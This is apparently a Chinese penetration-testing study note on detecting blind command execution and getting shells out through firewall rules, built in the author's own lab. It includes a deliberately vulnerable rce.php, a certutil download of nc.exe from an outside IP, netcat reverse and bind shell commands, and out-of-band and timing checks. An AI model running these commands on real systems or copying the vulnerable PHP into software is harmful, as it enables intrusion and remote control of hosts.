Day8 基础入门-数据不回显&数据不出网&出入站策略&正反向连接&反弹Shell&外带延迟写入
先买两台临时服务器,这个过程就不说了
先安装好xiaopi测试环境
在网站根目录下放一个rce.php
`<?php
$cmd=$_GET['c'];
shell_exec($cmd);
system($cmd);
?>`
然后访问调用试一试
发现是可以调用有回显的
我们改一下rce.php的代码
`<?php
$cmd=$_GET['c'];
shell_exec($cmd);
//system($cmd);
?>这时候再次访问  发现没有回显了,这时候我们不能判断有没有执行和成功,这个时候我们就要用到反弹shell了  当然如果在服务器上我们可以弹哥计算器看看,但是渗透测试的时候我们是看不到服务器内部情况的  可以看到能够成功下载nc.exe,并且有访问请求 
certutil.exe%20-urlcache%20-split%20-f%20http://47.238.33.28:8000/nc.exe%20nc.exe`
我们下载完成之后可以直接进行反弹shell了
先判断漏洞存不存在再获取权限
数据不回显-原因解决-反弹&带外&延迟&写文件
原因:代码层面函数调用问题,没有输出测试等
过程:
1、判断是不是数据不回显并且有漏洞
2、有这个漏洞如何把执行的数据到呢
解决:
1、反弹权限
判定目标的操作系统
https://forum.ywhack.com/shell.php
https://cloud.tencent.com/developer/article/1906240
nc -e cmd 119.45.254.149 7777
nc -lvp 7777
可以看到已经成功反弹了,那我们在网站上执行这些呢?
可以看到依然成功获取权限
2、数据带外
DNSlog
TCP-Portlog
ICMP-Sizelog
网上的数据外带时好时坏我们使用yakit搭建一个数据外带平台
点击反连
可以看到yakit自带DNSlog
可以看到在无回显的情况下有DNSLOG
ICMP也有
TCP依然可以
3、延迟判断
发包看回显时间
Win:ping -n 3 127.0.0.1
Linux:ping -c 3 127.0.0.1
4、写访问文件
写静态文件或写入可访问的文件确定
http://47.238.130.11/rce.php?c=ehco '123'>1.txt
5、其他:根据环境
文件下载等(反链的意义)
python启动一个网站服务
数据不出网-原因解决-正反连接&出入站策略&隧道
环境:Windows外网靶机 Linux外网攻击机
拓展思考:Windows内网靶机或Linux内网攻击机呢
内网能找到外网,外网找不到内网,要通讯就只能内网主动把权限交出去到外网的监听端口也就是
内网机器:nc -e cmd IP 8888
外网机器: nc -lvp 8888
流程:
1、判断出入限制
2、判断出入限制的端口和协议
3、分析原因用正向还是反向还是隧道
原因:主机或应用防火墙出站限制
解决:利用NC反弹实验
1、正向连接
2、反向连接
3、隧道技术
实验:相对于靶机角度
1、开启入站策略,采用反向连接
反向连接:主动给出去,对方监听
//绑定CMD到目标IP的6666端口
nc -e cmd 146.56.193.187 6666
//等待6666连接
nc -lvvp 6666
成功反弹shell,怎么下载nc.exe的在上面有写了
2、开启出站策略,采用正向连接
正向连接:本地监听等待对方连接
//绑定CMD到本地6666端口
nc -e cmd -lvvp 6666
//主动连接目标6666
nc 47.238.130.11 6666
可以看到仍然可以连接
3、开启出站策略,采用其他协议隧道
ICMP(ping 命令能出),DNS等隧道技术
如果出站只允许ICMP的话只允许ICMP那就正向连接,或者走ICMP隧道通讯
反之同理,如果入站只允许ICMP那就反向连接,或者走ICMP隧道通讯
正反向连接不了那就只能尝试走隧道技术
由上述内容发现还需那些内容学习:
1、其他反弹项目使用 工具或自带命令
2、系统操作命令使用 文件下载
3、复杂内网通讯隧道